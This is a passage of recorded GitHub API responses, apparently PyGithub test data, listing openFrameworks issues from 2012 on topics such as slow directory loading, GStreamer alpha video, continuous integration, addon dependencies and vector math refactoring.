critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3710293,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3662214,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","assignee":null,"title":"Alpha movies in GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":808090},"id":3647640,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3631618,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","assignee":null,"title":"Automatic installer + dependencies handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3627067,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1062,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","assignee":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":3614231,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","comments":18,"milestone":null,"number":1055,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1055","assignee":null,"title":"ofVertexes?? ofCurveVertexes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-12T01:50:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3605277,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4940'), ('content-length', '44623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"7a7b635a35e21a9f69de7a09b9040837"'), ('date', 'Tue, 29 May 2012 19:27:12 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T17:52:58Z","body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","comments":0,"milestone":null,"number":1052,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1052","assignee":null,"title":"ofShader should show an error when using an invalid name","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-10T17:52:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3596240,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"ofxiPhoneScreenGrab saves with compression artifacts.\r\nfix for saving a lossless image in the below post,\r\nhttp://forum.openframeworks.cc/index.php/topic,4737.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1051","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1051,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1051","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofxiPhoneScreenGrab saves with compression artifacts.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-10T12:15:33Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3594731,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:09:09Z","body":"just wanted to kick off a discussion about cleaning up ofxiPhone folder structure.\r\nhave this up on the forum, http://forum.openframeworks.cc/index.php/topic,8955.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1050","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1050,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1050","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"clean up ofxiPhone folder structure.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-10T06:32:12Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3593619,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:55:24Z","body":"This an implementation of ofxiPhoneScreenGrab for Android","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1048","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1048,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1048","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Adding Android screenshot feature, example to demonstrate it","labels":[],"closed_at":null,"created_at":"2012-03-10T05:31:45Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3593430,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1048","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1048.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1048.diff"}},{"updated_at":"2012-03-12T15:31:12Z","body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue IMHO","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","comments":8,"milestone":null,"number":1047,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1047","assignee":null,"title":"opening video files with system dialog in osx prevents them to play correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-09T18:54:28Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123},"id":3587808,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-20T16:11:54Z","body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","comments":12,"milestone":null,"number":1039,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1039","assignee":null,"title":"make icons for OF apps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-06T17:56:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3528378,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:32:44Z","body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","comments":1,"milestone":null,"number":1037,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1037","assignee":null,"title":"ofxGui, ofxButton should look visually different to toggle","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-05T18:06:03Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3510933,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-10T19:29:53Z","body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","comments":10,"milestone":null,"number":1036,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1036","assignee":null,"title":"ofxGui -> ofGui - how/should we bring into core?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-05T16:56:26Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3509628,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-12T12:39:10Z","body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","comments":3,"milestone":null,"number":1034,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1034","assignee":null,"title":"projectGenerator ignores shader .vert and .frag files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-04T11:19:04Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3495602,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:06:00Z","body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's log level ... but right now that string is never removed.\r\n\r\nIf someone creates a large amount module names the map could grow arbitrarily large over time. The thought so far is that no one would make enough module names for it to be a problem.\r\n\r\nFor instance, using the [proposed ofThread rewrite](https://github.com/openframeworks/openFrameworks/pull/1031), each thread creates a new module name when it sets itself to verbose and, in the case of spawning lots of verbose worker threads, the map will grow.\r\n\r\nMy proposed solution would be to remove the module name from the map when the level for that module is set back to OF_LOG_NOTICE and/or to the current log level.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1033","comments":11,"milestone":null,"number":1033,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1033","assignee":null,"title":"ofSetLogLevel(module, level) adds to map but dosen't remove","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-04T10:54:12Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3495503,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"this change c50648e29199a3f61eae05f6ceb350a97ab275d7 caused the problem. 